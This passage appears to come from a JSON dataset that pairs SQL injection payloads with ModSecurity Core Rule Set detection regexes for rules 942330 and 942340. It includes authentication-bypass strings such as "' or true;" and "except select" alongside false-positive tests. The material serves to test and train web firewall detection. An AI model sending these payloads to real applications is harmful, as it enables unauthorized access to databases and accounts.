], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?\\b(?:x?or|div|like|between|and)\\b[\\s\\x0b]*?[\\\"'`]?[0-9]|\\x5cx(?:2[37]|3d)|^(?:.?[\\\"'`]$|[\\\"'\\x5c`]*?(?:[\\\"'0-9`]+|[^\\\"'`]+[\\\"'`])[\\s\\x0b]*?\\b(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|\\|\\||&&)\\b[\\s\\x0b]*?[\\\"'0-9A-Z_-z][!&\\(\\)\\+-\\.@])|[^\\s\\x0b0-9A-Z_a-z][0-9A-Z_a-z]+[\\s\\x0b]*?[\\-\\|][\\s\\x0b]*?[\\\"'`][\\s\\x0b]*?[0-9A-Z_a-z]|@(?:[0-9A-Z_a-z]+[\\s\\x0b]+(?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[\\\"'0-9`]+|[\\-0-9A-Z_a-z]+[\\s\\x0b](?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z])|[^\\s\\x0b0-:A-Z_a-z][\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z][\\s\\x0b]*?[\\\"'`].|[^0-9A-Z_a-z]information_schema|table_name[^0-9A-Z_a-z]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942330", "test_description": "Test second backslash match (\\x5cx(?:23|27|3d))" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "\"var=05111222333\nandy.surname@somedomain.com\"\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?\\b(?:x?or|div|like|between|and)\\b[\\s\\x0b]*?[\\\"'`]?[0-9]|\\x5cx(?:2[37]|3d)|^(?:.?[\\\"'`]$|[\\\"'\\x5c`]*?(?:[\\\"'0-9`]+|[^\\\"'`]+[\\\"'`])[\\s\\x0b]*?\\b(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|\\|\\||&&)\\b[\\s\\x0b]*?[\\\"'0-9A-Z_-z][!&\\(\\)\\+-\\.@])|[^\\s\\x0b0-9A-Z_a-z][0-9A-Z_a-z]+[\\s\\x0b]*?[\\-\\|][\\s\\x0b]*?[\\\"'`][\\s\\x0b]*?[0-9A-Z_a-z]|@(?:[0-9A-Z_a-z]+[\\s\\x0b]+(?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[\\\"'0-9`]+|[\\-0-9A-Z_a-z]+[\\s\\x0b](?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z])|[^\\s\\x0b0-:A-Z_a-z][\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z][\\s\\x0b]*?[\\\"'`].|[^0-9A-Z_a-z]information_schema|table_name[^0-9A-Z_a-z]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942330", "test_description": "Test false positive issue nr. 3205" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=05111222333 andy.surname@somedomain.com" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"'`][\\s\\x0b]*?\\b(?:x?or|div|like|between|and)\\b[\\s\\x0b]*?[\\\"'`]?[0-9]|\\x5cx(?:2[37]|3d)|^(?:.?[\\\"'`]$|[\\\"'\\x5c`]*?(?:[\\\"'0-9`]+|[^\\\"'`]+[\\\"'`])[\\s\\x0b]*?\\b(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between|\\|\\||&&)\\b[\\s\\x0b]*?[\\\"'0-9A-Z_-z][!&\\(\\)\\+-\\.@])|[^\\s\\x0b0-9A-Z_a-z][0-9A-Z_a-z]+[\\s\\x0b]*?[\\-\\|][\\s\\x0b]*?[\\\"'`][\\s\\x0b]*?[0-9A-Z_a-z]|@(?:[0-9A-Z_a-z]+[\\s\\x0b]+(?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[\\\"'0-9`]+|[\\-0-9A-Z_a-z]+[\\s\\x0b](?:and|x?or|div|like|between)\\b[\\s\\x0b]*?[^\\s\\x0b0-9A-Z_a-z])|[^\\s\\x0b0-:A-Z_a-z][\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+[^\\s\\x0b0-9A-Z_a-z][\\s\\x0b]*?[\\\"'`].|[^0-9A-Z_a-z]information_schema|table_name[^0-9A-Z_a-z]", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942330", "test_description": "Test false positive issue nr. 3205" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=in%20%28%20select%20%2a%20from" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "basic SQL authentication bypass attempts 3/3" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=except%20%09select.1%2C2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "SQLite authentication bypass with except select" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=except%20values(1%2C2)" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "SQLite authentication bypass with except values" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "var=except%20selecting" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "true-negative except selecting" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=x'%20or%20array[id]%20is%20not%20null--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "basic SQL authentication bypass attempts 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email=x'%20or%20email~all(array[email]);analyze--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "basic SQL authentication bypass attempts 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email='%20and%20email%20not%20similar%20to%20id--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "basic SQL authentication bypass attempts 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email='%20or%20true;%20foo" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "basic SQL authentication bypass attempts 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email='%20or%20false;%20foo" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "basic SQL authentication bypass attempts 3/3" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email='||true" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)in[\\s\\x0b]*?\\(+[\\s\\x0b]*?select|(?:(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)[\\s\\x0b\\+0-9A-Z_a-z]+(?:regexp[\\s\\x0b]*?\\(|sounds[\\s\\x0b]+like[\\s\\x0b]*?[\\\"'`]|[0-9=]+x)|[\\\"'`](?:[\\s\\x0b]*?(?:(?:[0-9]+[\\s\\x0b]*?(?:--|#)|is[\\s\\x0b]*?(?:[0-9][^\\\"'`]+[\\\"'`]?[0-9A-Z_a-z]|[\\.0-9]+[\\s\\x0b]*?[^0-9A-Z_a-z][^\\\"'`]*[\\\"'`])|(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)[\\s\\x0b]+|(?:\\|\\||&&)[\\s\\x0b]*?)(?:array[\\s\\x0b]*?\\[|(?:tru|fals)e\\b|[0-9A-Z_a-z]+(?:[\\s\\x0b]*?!?~|[\\s\\x0b]+(?:not[\\s\\x0b]+)?similar[\\s\\x0b]+to[\\s\\x0b]+))|[%&<->\\^]+[0-9]+[\\s\\x0b]*?(?:and|n(?:and|ot)|(?:xx?)?or|div|like|between)=)|(?:[^0-9A-Z_a-z]+[\\+\\-0-9A-Z_a-z]+[\\s\\x0b]*?=[\\s\\x0b]*?[0-9][^0-9A-Z_a-z]+|\\|?[\\-0-9A-Z_a-z]{3,}[^\\s\\x0b,\\.0-9A-Z_a-z]+)[\\\"'`])|\\bexcept[\\s\\x0b]+(?:select\\b|values[\\s\\x0b]*?\\()", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942340", "test_description": "basic SQL authentication bypass attempts 3/3 (no whitespace between operator)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "email='ortrue" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 